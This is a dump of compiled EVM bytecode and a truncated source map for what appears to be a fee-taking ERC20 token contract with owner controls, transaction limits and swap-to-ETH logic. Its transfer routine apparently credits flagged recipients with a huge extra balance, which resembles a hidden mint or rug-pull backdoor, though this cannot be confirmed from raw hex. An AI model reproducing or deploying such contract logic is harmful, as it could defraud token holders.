5338484610b6a565b50600192915050565b60006107ab848484610c2b565b6107fd84336107f885604051806060016040528060288152602001611721602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f65565b610b6a565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916107959185906107f89086610f91565b6000546001600160a01b0316331461089c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b03821660009081526001602052604081205490916109259160649161091f9190600160a01b900460ff16610b4b565b90610b5e565b92915050565b60606009805461070590611681565b600061079533846107f885604051806060016040528060258152602001611749602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610f65565b6000610795338484610c2b565b600980546109a390611681565b80601f01602080910402602001604051908101604052809291908181526020018280546109cf90611681565b8015610a1c5780601f106109f157610100808354040283529160200191610a1c565b820191906000526020600020905b8154815290600101906020018083116109ff57829003601f168201915b505050505081565b600880546109a390611681565b6000546001600160a01b03163314610a8b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610893565b6001600160a01b038116610af05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610893565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610b578284611623565b9392505050565b6000610b578284611601565b6001600160a01b03831615801590610b8a57506001600160a01b03821615155b610bca5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610893565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610893565b6001600160a01b038216610cf15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610893565b6001600160a01b03831660009081526004602052604090205460ff16158015610d3357506001600160a01b03821660009081526004602052604090205460ff16155b15610d9b57601554811115610d9b5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610893565b600c5460ff61010082048116911610801590610dc15750601a54600160a01b900460ff16155b8015610ddb5750601a546001600160a01b03848116911614155b8015610df05750601a54600160a81b900460ff165b15610e2f57600c805460ff1916905530600090815260016020526040902054601554811115610e1e57506015545b8015610e2d57610e2d81610f9d565b505b6001600160a01b03821660009081526003602052604090205460ff16610e8657601354610e7b82610e75856001600160a01b031660009081526001602052604090205490565b90610f91565b1115610e8657600080fd5b6001600160a01b03831660009081526005602052604090205460019060ff1680610ec857506001600160a01b03831660009081526005602052604090205460ff165b15610f1557506001600160a01b03821660009081526017602052604081205460ff168015610efd5750601854600160ff909116105b15610f10576018805460ff191660011790555b610f53565b601a546001600160a01b0385811691161415610f3657600e54600d55610f53565b601a546001600160a01b0384811691161415610f5357600f54600d555b610f5f84848484610fe2565b50505050565b60008184841115610f895760405162461bcd60e51b81526004016108939190611523565b505050900390565b6000610b5782846115e9565b601a805460ff60a01b1916600160a01b179055610fb981611039565b6006544790610fd1906001600160a01b0316826111c5565b5050601a805460ff60a01b19169055565b80610ff457610fef611200565b611021565b600c805460ff16906000611007836116bc565b91906101000a81548160ff021916908360ff160217905550505b61102c848484611245565b80610f5f57610f5f611395565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061106e5761106e6116f2565b60200260200101906001600160a01b031690816001600160a01b031681525050601860019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110dc57600080fd5b505afa1580156110f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111149190611460565b81600181518110611127576111276116f2565b6001600160a01b03928316602091820292909201015260185461115291309161010090041684610b6a565b60185460405163791ac94760e01b81526101009091046001600160a01b03169063791ac9479061118f908590600090869030904290600401611578565b600060405180830381600087803b1580156111a957600080fd5b505af11580156111bd573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156111fb573d6000803e3d6000fd5b505050565b600d541580156112105750600e54155b801561121c5750600f54155b1561122357565b600e8054601155600f8054601255600d80546010556000928390559082905555565b600080611251836113e6565b6001600160a01b0387166000908152600160205260409020549193509150611279908461141e565b6001600160a01b0380871660009081526001602090815260408083209490945591871681526017909152205460ff166112b35760016112df565b6112df826112d060016d314af8f22e76a600000000000000611642565b6001600160701b03169061141e565b6001600160a01b0385166000908152600160205260409020546113029084610f91565b61130c91906115e9565b6001600160a01b0385166000908152600160205260408082209290925530815220546113389082610f91565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b601054600d55601154600e5560408051808201909152601254815260185460208201906113c49060ff1661142a565b905260185460ff16600281106113dc576113dc6116f2565b6020020151600f55565b60008060006064600d54856113fb9190611623565b6114059190611601565b90506000611413858361141e565b959194509092505050565b6000610b57828461166a565b6000600161143983606461166a565b610925919061166a565b60006020828403121561145557600080fd5b8135610b5781611708565b60006020828403121561147257600080fd5b8151610b5781611708565b6000806040838503121561149057600080fd5b823561149b81611708565b915060208301356114ab81611708565b809150509250929050565b6000806000606084860312156114cb57600080fd5b83356114d681611708565b925060208401356114e681611708565b929592945050506040919091013590565b6000806040838503121561150a57600080fd5b823561151581611708565b946020939093013593505050565b600060208083528351808285015260005b8181101561155057858101830151858201604001528201611534565b81811115611562576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115c85784516001600160a01b0316835293830193918301916001016115a3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115fc576115fc6116dc565b500190565b60008261161e57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561163d5761163d6116dc565b500290565b60006001600160701b0383811690831681811015611662576116626116dc565b039392505050565b60008282101561167c5761167c6116dc565b500390565b600181811c9082168061169557607f821691505b602082108114156116b657634e487b7160e01b600052602260045260246000fd5b50919050565b600060ff821660ff8114156116d3576116d36116dc565b60010192915050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461171d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220394afb91485b8f37b7be7afcb4ceb3b7f07b71535314d5b26b9b596d4f1f4bb764736f6c63430008060033

Deployed Bytecode

0x6080604052600436106102135760003560e01c80637d1db4a511610118578063af465a27116100a0578063d83646bb1161006f578063d83646bb14610621578063dd62ed3e14610640578063f1d6512e14610686578063f2fde38b146106b6578063f3dc687e146106d657600080fd5b8063af465a27146105b1578063b09f1266146105c7578063d28d8852146105dc578063d5ca5465146105f157600080fd5b806397f3a19e116100e757806397f3a19e146104fb578063a3b3bc071461052b578063a457c2d71461055b578063a9059cbb1461057b578063adbd47c01461059b57600080fd5b80637d1db4a5146104925780638ad7be2d146104a85780638da5cb5b146104c857806395d89b41146104e657600080fd5b8063313ce5671161019b5780634a74bb021161016a5780634a74bb02146103f057806370a0823114610411578063715018a61461044757806378109e541461045e5780637d0cc6171461047457600080fd5b8063313ce5671461037e57806331d7ba591461039657806339509351146103b057806349bd5a5e146103d057600080fd5b80631694505e116101e25780631694505e146102cb57806318160ddd14610308578063220f66961461031d57806323b872dd1461033e5780632c3f15cd1461035e57600080fd5b806306fdde031461021f578063095ea7b31461024a5780630a9d7ad11461027a57806315209a57146102a757600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b506102346106f6565b6040516102419190611523565b60405180910390f35b34801561025657600080fd5b5061026a6102653660046114f7565b610788565b6040519015158152602001610241565b34801561028657600080fd5b50600754600160a01b900460ff165b60405160ff9091168152602001610241565b3480156102b357600080fd5b506102bd600e5481565b604051908152602001610241565b3480156102d757600080fd5b506018546102f09061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610241565b34801561031457600080fd5b50600b546102bd565b34801561032957600080fd5b50601a5461026a90600160a01b900460ff1681565b34801561034a57600080fd5b5061026a6103593660046114b6565b61079e565b34801561036a57600080fd5b506007546102f0906001600160a01b031681565b34801561038a57600080fd5b50600a5460ff16610295565b3480156103a257600080fd5b506018546102959060ff1681565b3480156103bc57600080fd5b5061026a6103cb3660046114f7565b610807565b3480156103dc57600080fd5b50601a546102f0906001600160a01b031681565b3480156103fc57600080fd5b50601a5461026a90600160a81b900460ff1681565b34801561041d57600080fd5b506102bd61042c366004611443565b6001600160a01b031660009081526001602052604090205490565b34801561045357600080fd5b5061045c61083d565b005b34801561046a57600080fd5b506102bd60135481565b34801561048057600080fd5b506007546001600160a01b03166102f0565b34801561049e57600080fd5b506102bd60155481565b3480156104b457600080fd5b506102bd6104c3366004611443565b6108e6565b3480156104d457600080fd5b506000546001600160a01b03166102f0565b3480156104f257600080fd5b5061023461092b565b34801561050757600080fd5b5061026a610516366004611443565b60036020526000908152604090205460ff1681565b34801561053757600080fd5b5061026a610546366004611443565b60046020526000908152604090205460ff1681565b34801561056757600080fd5b5061026a6105763660046114f7565b61093a565b34801561058757600080fd5b5061026a6105963660046114f7565b610989565b3480156105a757600080fd5b506102bd600f5481565b3480156105bd57600080fd5b506102bd600b5481565b3480156105d357600080fd5b50610234610996565b3480156105e857600080fd5b50610234610a24565b3480156105fd57600080fd5b5061026a61060c366004611443565b60176020526000908152604090205460ff1681565b34801561062d57600080fd5b50600754600160a81b900460ff1661026a565b34801561064c57600080fd5b506102bd61065b36600461147d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561069257600080fd5b5061026a6106a1366004611443565b60056020526000908152604090205460ff1681565b3480156106c257600080fd5b5061045c6106d1366004611443565b610a31565b3480156106e257600080fd5b506006546102f0906001600160a01b031681565b60606008805461070590611681565b80601f016020809104026020016040519081016040528092919081815260200182805461073190611681565b801561077e5780601f106107535761010080835404028352916020019161077e565b820191906000526020600020905b81548152906001019060200180831161076157829003601f168201915b5050505050905090565b6000610795338484610b6a565b50600192915050565b60006107ab848484610c2b565b6107fd84336107f885604051806060016040528060288152602001611721602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f65565b610b6a565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916107959185906107f89086610f91565b6000546001600160a01b0316331461089c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b03821660009081526001602052604081205490916109259160649161091f9190600160a01b900460ff16610b4b565b90610b5e565b92915050565b60606009805461070590611681565b600061079533846107f885604051806060016040528060258152602001611749602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610f65565b6000610795338484610c2b565b600980546109a390611681565b80601f01602080910402602001604051908101604052809291908181526020018280546109cf90611681565b8015610a1c5780601f106109f157610100808354040283529160200191610a1c565b820191906000526020600020905b8154815290600101906020018083116109ff57829003601f168201915b505050505081565b600880546109a390611681565b6000546001600160a01b03163314610a8b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610893565b6001600160a01b038116610af05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610893565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610b578284611623565b9392505050565b6000610b578284611601565b6001600160a01b03831615801590610b8a57506001600160a01b03821615155b610bca5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610893565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610893565b6001600160a01b038216610cf15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610893565b6001600160a01b03831660009081526004602052604090205460ff16158015610d3357506001600160a01b03821660009081526004602052604090205460ff16155b15610d9b57601554811115610d9b5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610893565b600c5460ff61010082048116911610801590610dc15750601a54600160a01b900460ff16155b8015610ddb5750601a546001600160a01b03848116911614155b8015610df05750601a54600160a81b900460ff165b15610e2f57600c805460ff1916905530600090815260016020526040902054601554811115610e1e57506015545b8015610e2d57610e2d81610f9d565b505b6001600160a01b03821660009081526003602052604090205460ff16610e8657601354610e7b82610e75856001600160a01b031660009081526001602052604090205490565b90610f91565b1115610e8657600080fd5b6001600160a01b03831660009081526005602052604090205460019060ff1680610ec857506001600160a01b03831660009081526005602052604090205460ff165b15610f1557506001600160a01b03821660009081526017602052604081205460ff168015610efd5750601854600160ff909116105b15610f10576018805460ff191660011790555b610f53565b601a546001600160a01b0385811691161415610f3657600e54600d55610f53565b601a546001600160a01b0384811691161415610f5357600f54600d555b610f5f84848484610fe2565b50505050565b60008184841115610f895760405162461bcd60e51b81526004016108939190611523565b505050900390565b6000610b5782846115e9565b601a805460ff60a01b1916600160a01b179055610fb981611039565b6006544790610fd1906001600160a01b0316826111c5565b5050601a805460ff60a01b19169055565b80610ff457610fef611200565b611021565b600c805460ff16906000611007836116bc565b91906101000a81548160ff021916908360ff160217905550505b61102c848484611245565b80610f5f57610f5f611395565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061106e5761106e6116f2565b60200260200101906001600160a01b031690816001600160a01b031681525050601860019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110dc57600080fd5b505afa1580156110f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111149190611460565b81600181518110611127576111276116f2565b6001600160a01b03928316602091820292909201015260185461115291309161010090041684610b6a565b60185460405163791ac94760e01b81526101009091046001600160a01b03169063791ac9479061118f908590600090869030904290600401611578565b600060405180830381600087803b1580156111a957600080fd5b505af11580156111bd573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156111fb573d6000803e3d6000fd5b505050565b600d541580156112105750600e54155b801561121c5750600f54155b1561122357565b600e8054601155600f8054601255600d80546010556000928390559082905555565b600080611251836113e6565b6001600160a01b0387166000908152600160205260409020549193509150611279908461141e565b6001600160a01b0380871660009081526001602090815260408083209490945591871681526017909152205460ff166112b35760016112df565b6112df826112d060016d314af8f22e76a600000000000000611642565b6001600160701b03169061141e565b6001600160a01b0385166000908152600160205260409020546113029084610f91565b61130c91906115e9565b6001600160a01b0385166000908152600160205260408082209290925530815220546113389082610f91565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b601054600d55601154600e5560408051808201909152601254815260185460208201906113c49060ff1661142a565b905260185460ff16600281106113dc576113dc6116f2565b6020020151600f55565b60008060006064600d54856113fb9190611623565b6114059190611601565b90506000611413858361141e565b959194509092505050565b6000610b57828461166a565b6000600161143983606461166a565b610925919061166a565b60006020828403121561145557600080fd5b8135610b5781611708565b60006020828403121561147257600080fd5b8151610b5781611708565b6000806040838503121561149057600080fd5b823561149b81611708565b915060208301356114ab81611708565b809150509250929050565b6000806000606084860312156114cb57600080fd5b83356114d681611708565b925060208401356114e681611708565b929592945050506040919091013590565b6000806040838503121561150a57600080fd5b823561151581611708565b946020939093013593505050565b600060208083528351808285015260005b8181101561155057858101830151858201604001528201611534565b81811115611562576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115c85784516001600160a01b0316835293830193918301916001016115a3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115fc576115fc6116dc565b500190565b60008261161e57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561163d5761163d6116dc565b500290565b60006001600160701b0383811690831681811015611662576116626116dc565b039392505050565b60008282101561167c5761167c6116dc565b500390565b600181811c9082168061169557607f821691505b602082108114156116b657634e487b7160e01b600052602260045260246000fd5b50919050565b600060ff821660ff8114156116d3576116d36116dc565b60010192915050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461171d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220394afb91485b8f37b7be7afcb4ceb3b7f07b71535314d5b26b9b596d4f1f4bb764736f6c63430008060033

Deployed Bytecode Sourcemap

10952:10041:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14049:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14886:161;;;;;;;;;;-1:-1:-1;14886:161:0;;;;;:::i;:::-;;:::i;:::-;;;2293:14:1;;2286:22;2268:41;;2256:2;2241:18;14886:161:0;2223:92:1;19412:90:0;;;;;;;;;;-1:-1:-1;19480:14:0;;-1:-1:-1;;;19480:14:0;;;;19412:90;;;6828:4:1;6816:17;;;6798:36;;6786:2;6771:18;19412:90:0;6753:87:1;11947:28:0;;;;;;;;;;;;;;;;;;;5635:25:1;;;5623:2;5608:18;11947:28:0;5590:76:1;12526:41:0;;;;;;;;;;-1:-1:-1;12526:41:0;;;;;;;-1:-1:-1;;;;;12526:41:0;;;;;;-1:-1:-1;;;;;1860:32:1;;;1842:51;;1830:2;1815:18;12526:41:0;1797:102:1;14326:95:0;;;;;;;;;;-1:-1:-1;14406:7:0;;14326:95;;12646:28;;;;;;;;;;-1:-1:-1;12646:28:0;;;;-1:-1:-1;;;12646:28:0;;;;;;15055:313;;;;;;;;;;-1:-1:-1;15055:313:0;;;;;:::i;:::-;;:::i;11492:98::-;;;;;;;;;;-1:-1:-1;11492:98:0;;;;-1:-1:-1;;;;;11492:98:0;;;14235:83;;;;;;;;;;-1:-1:-1;14301:9:0;;;;14235:83;;12491:28;;;;;;;;;;-1:-1:-1;12491:28:0;;;;;;;;15376:218;;;;;;;;;;-1:-1:-1;15376:218:0;;;;;:::i;:::-;;:::i;12605:28::-;;;;;;;;;;-1:-1:-1;12605:28:0;;;;-1:-1:-1;;;;;12605:28:0;;;12681:40;;;;;;;;;;-1:-1:-1;12681:40:0;;;;-1:-1:-1;;;12681:40:0;;;;;;14429:123;;;;;;;;;;-1:-1:-1;14429:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;14522:22:0;14495:7;14522:22;;;:13;:22;;;;;;;14429:123;10538:148;;;;;;;;;;;;;:::i;:::-;;12183:56;;;;;;;;;;;;;;;;19299:105;;;;;;;;;;-1:-1:-1;19375:21:0;;-1:-1:-1;;;;;19375:21:0;19299:105;;12312:53;;;;;;;;;;;;;;;;19510:210;;;;;;;;;;-1:-1:-1;19510:210:0;;;;;:::i;:::-;;:::i;10309:87::-;;;;;;;;;;-1:-1:-1;10355:7:0;10382:6;-1:-1:-1;;;;;10382:6:0;10309:87;;14140;;;;;;;;;;;;;:::i;11210:54::-;;;;;;;;;;-1:-1:-1;11210:54:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11271:50;;;;;;;;;;-1:-1:-1;11271:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15602:269;;;;;;;;;;-1:-1:-1;15602:269:0;;;;;:::i;:::-;;:::i;14560:167::-;;;;;;;;;;-1:-1:-1;14560:167:0;;;;;:::i;:::-;;:::i;11982:29::-;;;;;;;;;;;;;;;;11780:49;;;;;;;;;;;;;;;;11708:31;;;;;;;;;;;;;:::i;11668:33::-;;;;;;;;;;;;;:::i;12433:51::-;;;;;;;;;;-1:-1:-1;12433:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15916:97;;;;;;;;;;-1:-1:-1;15987:18:0;;-1:-1:-1;;;15987:18:0;;;;15916:97;;14735:143;;;;;;;;;;-1:-1:-1;14735:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;14843:18:0;;;14816:7;14843:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;14735:143;11328:48;;;;;;;;;;-1:-1:-1;11328:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10694:244;;;;;;;;;;-1:-1:-1;10694:244:0;;;;;:::i;:::-;;:::i;11390:95::-;;;;;;;;;;-1:-1:-1;11390:95:0;;;;-1:-1:-1;;;;;11390:95:0;;;14049:83;14086:13;14119:5;14112:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14049:83;:::o;14886:161::-;14961:4;14978:39;1851:10;15001:7;15010:6;14978:8;:39::i;:::-;-1:-1:-1;15035:4:0;14886:161;;;;:::o;15055:313::-;15153:4;15170:36;15180:6;15188:9;15199:6;15170:9;:36::i;:::-;15217:121;15226:6;1851:10;15248:89;15286:6;15248:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15248:19:0;;;;;;:11;:19;;;;;;;;1851:10;15248:33;;;;;;;;;;:37;:89::i;:::-;15217:8;:121::i;:::-;-1:-1:-1;15356:4:0;15055:313;;;;;:::o;15376:218::-;1851:10;15464:4;15513:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15513:34:0;;;;;;;;;;15464:4;;15481:83;;15504:7;;15513:50;;15552:10;15513:38;:50::i;10538:148::-;10355:7;10382:6;-1:-1:-1;;;;;10382:6:0;1851:10;10448:23;10440:68;;;;-1:-1:-1;;;10440:68:0;;4578:2:1;10440:68:0;;;4560:21:1;;;4597:18;;;4590:30;4656:34;4636:18;;;4629:62;4708:18;;10440:68:0;;;;;;;;;10645:1:::1;10629:6:::0;;10608:40:::1;::::0;-1:-1:-1;;;;;10629:6:0;;::::1;::::0;10608:40:::1;::::0;10645:1;;10608:40:::1;10676:1;10659:19:::0;;-1:-1:-1;;;;;;10659:19:0::1;::::0;;10538:148::o;19510:210::-;19670:14;;-1:-1:-1;;;;;19608:57:0;;19569:7;19608:57;;;:13;:57;;;;;;19569:7;;19608:104;;19708:3;;19608:77;;:57;-1:-1:-1;;;19670:14:0;;;;19608:61;:77::i;:::-;:99;;:104::i;:::-;19588:124;19510:210;-1:-1:-1;;19510:210:0:o;14140:87::-;14179:13;14212:7;14205:14;;;;;:::i;15602:269::-;15695:4;15712:129;1851:10;15735:7;15744:96;15783:15;15744:96;;;;;;;;;;;;;;;;;1851:10;15744:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15744:34:0;;;;;;;;;;;;:38;:96::i;14560:167::-;14638:4;14655:42;1851:10;14679:9;14690:6;14655:9;:42::i;11708:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;11668:33::-;;;;;;;:::i;10694:244::-;10355:7;10382:6;-1:-1:-1;;;;;10382:6:0;1851:10;10448:23;10440:68;;;;-1:-1:-1;;;10440:68:0;;4578:2:1;10440:68:0;;;4560:21:1;;;4597:18;;;4590:30;4656:34;4636:18;;;4629:62;4708:18;;10440:68:0;4550:182:1;10440:68:0;-1:-1:-1;;;;;10783:22:0;::::1;10775:73;;;::::0;-1:-1:-1;;;10775:73:0;;3762:2:1;10775:73:0::1;::::0;::::1;3744:21:1::0;3801:2;3781:18;;;3774:30;3840:34;3820:18;;;3813:62;-1:-1:-1;;;3891:18:1;;;3884:36;3937:19;;10775:73:0::1;3734:228:1::0;10775:73:0::1;10885:6;::::0;;10864:38:::1;::::0;-1:-1:-1;;;;;10864:38:0;;::::1;::::0;10885:6;::::1;::::0;10864:38:::1;::::0;::::1;10913:6;:17:::0;;-1:-1:-1;;;;;;10913:17:0::1;-1:-1:-1::0;;;;;10913:17:0;;;::::1;::::0;;;::::1;::::0;;10694:244::o;1086:98::-;1144:7;1171:5;1175:1;1171;:5;:::i;:::-;1164:12;1086:98;-1:-1:-1;;;1086:98:0:o;1196:::-;1254:7;1281:5;1285:1;1281;:5;:::i;16602:266::-;-1:-1:-1;;;;;16697:19:0;;;;;;:44;;-1:-1:-1;;;;;;16720:21:0;;;;16697:44;16689:74;;;;-1:-1:-1;;;16689:74:0;;5345:2:1;16689:74:0;;;5327:21:1;5384:2;5364:18;;;5357:30;-1:-1:-1;;;5403:18:1;;;5396:47;5460:18;;16689:74:0;5317:167:1;16689:74:0;-1:-1:-1;;;;;16774:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16826:32;;5635:25:1;;;16826:32:0;;5608:18:1;16826:32:0;;;;;;;16602:266;;;:::o;16876:1551::-;-1:-1:-1;;;;;17010:18:0;;17002:68;;;;-1:-1:-1;;;17002:68:0;;4939:2:1;17002:68:0;;;4921:21:1;4978:2;4958:18;;;4951:30;5017:34;4997:18;;;4990:62;-1:-1:-1;;;5068:18:1;;;5061:35;5113:19;;17002:68:0;4911:227:1;17002:68:0;-1:-1:-1;;;;;17089:16:0;;17081:64;;;;-1:-1:-1;;;17081:64:0;;3358:2:1;17081:64:0;;;3340:21:1;3397:2;3377:18;;;3370:30;3436:34;3416:18;;;3409:62;-1:-1:-1;;;3487:18:1;;;3480:33;3530:19;;17081:64:0;3330:225:1;17081:64:0;-1:-1:-1;;;;;17162:23:0;;;;;;:17;:23;;;;;;;;17161:24;:60;;;;-1:-1:-1;;;;;;17200:21:0;;;;;;:17;:21;;;;;;;;17199:22;17161:60;17158:195;;;17284:12;;17246:6;:50;;17238:103;;;;-1:-1:-1;;;17238:103:0;;4169:2:1;17238:103:0;;;4151:21:1;4208:2;4188:18;;;4181:30;4247:34;4227:18;;;4220:62;-1:-1:-1;;;4298:18:1;;;4291:38;4346:19;;17238:103:0;4141:230:1;17238:103:0;17393:11;;;;;;;;17382:7;;:22;;;;:57;;-1:-1:-1;17423:16:0;;-1:-1:-1;;;17423:16:0;;;;17422:17;17382:57;:95;;;;-1:-1:-1;17464:13:0;;-1:-1:-1;;;;;17456:21:0;;;17464:13;;17456:21;;17382:95;:133;;;;-1:-1:-1;17494:21:0;;-1:-1:-1;;;17494:21:0;;;;17382:133;17365:497;;;17572:7;:11;;-1:-1:-1;;17572:11:0;;;17647:4;-1:-1:-1;14522:22:0;;;-1:-1:-1;14522:22:0;;;;;;17694:12;;17671:35;;17668:78;;;-1:-1:-1;17732:12:0;;17668:78;17763:24;;17760:91;;17803:36;17818:20;17803:14;:36::i;:::-;17541:321;17365:497;-1:-1:-1;;;;;17879:25:0;;;;;;:21;:25;;;;;;;;17875:84;;17943:15;;17914:25;17932:6;17914:13;17924:2;-1:-1:-1;;;;;14522:22:0;14495:7;14522:22;;;:13;:22;;;;;;;14429:123;17914:13;:17;;:25::i;:::-;:44;;17906:53;;;;;;-1:-1:-1;;;;;18007:21:0;;17972:13;18007:21;;;:15;:21;;;;;;17988:4;;18007:21;;;:44;;-1:-1:-1;;;;;;18032:19:0;;;;;;:15;:19;;;;;;;;18007:44;18003:353;;;-1:-1:-1;;;;;;18102:22:0;;18079:5;18102:22;;;:18;:22;;;;;;;;:45;;;;-1:-1:-1;18128:11:0;;18143:3;18128:11;;;;:19;18102:45;18099:73;;;18150:11;:19;;-1:-1:-1;;18150:19:0;18165:3;18150:19;;;18099:73;18003:353;;;18203:13;;-1:-1:-1;;;;;18195:21:0;;;18203:13;;18195:21;18191:165;;;18242:9;;18232:7;:19;18191:165;;;18283:13;;-1:-1:-1;;;;;18277:19:0;;;18283:13;;18277:19;18273:83;;;18326:10;;18316:7;:20;18273:83;18376:43;18395:4;18400:2;18403:6;18410:8;18376:18;:43::i;:::-;16979:1448;16876:1551;;;:::o;1302:206::-;1388:7;1449:12;1441:6;;;;1433:29;;;;-1:-1:-1;;;1433:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1484:5:0;;;1302:206::o;874:98::-;932:7;959:5;963:1;959;:5;:::i;18567:240::-;12964:16;:23;;-1:-1:-1;;;;12964:23:0;-1:-